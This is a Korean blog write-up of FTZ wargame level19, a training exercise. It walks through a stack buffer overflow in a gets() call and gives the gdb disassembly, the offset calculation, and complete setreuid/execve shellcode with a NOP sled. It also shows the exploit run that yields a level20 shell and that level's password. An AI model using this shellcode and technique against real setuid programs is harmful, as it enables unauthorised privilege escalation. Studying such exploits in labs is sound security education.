Jaeseo's Information Security Story

FTZ - level19 - WriteUp 본문

Write UP/FTZ

FTZ - level19 - WriteUp

Jaeseokim 2019. 11. 27. 19:35

FTZ - level19 - WriteUp

level19:swimming in pink

일단 hint를 봅니다.

[level19@ftz level19]$ cat hint


main()
{ char buf[20];
  gets(buf);
  printf("%s\n",buf);
}

문제를 보니 ret 부분에 shell코드의 주소를 덮은 다음 리턴을 시켜 shell를 실행 시키면 되는 문제로 보입니다.

(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x08048440 <main+0>:    push   ebp
0x08048441 <main+1>:    mov    ebp,esp
0x08048443 <main+3>:    sub    esp,0x28
0x08048446 <main+6>:    sub    esp,0xc
0x08048449 <main+9>:    lea    eax,[ebp-40] //ebp-40에 입력을 받음
0x0804844c <main+12>:   push   eax
0x0804844d <main+13>:   call   0x80482f4 <gets>
0x08048452 <main+18>:   add    esp,0x10
0x08048455 <main+21>:   sub    esp,0x8
0x08048458 <main+24>:   lea    eax,[ebp-40]
0x0804845b <main+27>:   push   eax
0x0804845c <main+28>:   push   0x80484d8
0x08048461 <main+33>:   call   0x8048324 <printf>
0x08048466 <main+38>:   add    esp,0x10
0x08048469 <main+41>:   leave
0x0804846a <main+42>:   ret
0x0804846b <main+43>:   nop
0x0804846c <main+44>:   nop
0x0804846d <main+45>:   nop
0x0804846e <main+46>:   nop
0x0804846f <main+47>:   nop
End of assembler dump.
(gdb)

일단 버퍼에서 RET까지의 거리를 계산합니다. ebp-40에서 ret 주소 즉 ebp+4 까지의 거리는 44이니 44만큼 빈값을 채우고 쉘코드 주소를 입력해주면 될것 으로 예상됩니다. 이번에는 shell코드를 setreuid()가 포함된 함수를 사용했습니다. 일방적인 코드를 사용하면 uid가 level19의 권한으로 설정되어서 쉘코드를 다른것으로 사용하였습니다. 아직 쉘코드 작성법에 대해서는 공부가 부족하여서 나중에 자세히 작성하도록 하겠습니다.

[level19@ftz level19]$export ATTACK=`python -c 'print "\x90"*10000+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"'`

그리고 getenv()함수를 이용하여 환경변수의 주소를 가져옵니다.

마지막으로 아래와 같이 공격을 시도합니다.

[level19@ftz level19]$ /tmp/get.out ATTACK
0xbfffd837
[level19@ftz level19]$ (python -c 'print "\x90"*44+"\x37\xd8\xff\xbf"';cat) | ./attackme
7Øÿ¿
whoami
level20
my-pass
TERM environment variable not set.

Level20 Password is "we are just regular guys".



level20:we are just regular guys

'Write UP > FTZ' 카테고리의 다른 글

FTZ - level20 - WriteUp | ctors, dtors 영역 | 포맷스트링 공격  (0) 2019.11.30
FTZ - level18 - WriteUp  (0) 2019.11.26
FTZ - level17 - WriteUp  (0) 2019.11.26
FTZ - level16 - WriteUp  (0) 2019.11.26
FTZ - level15 - WriteUp  (0) 2019.11.26
Comments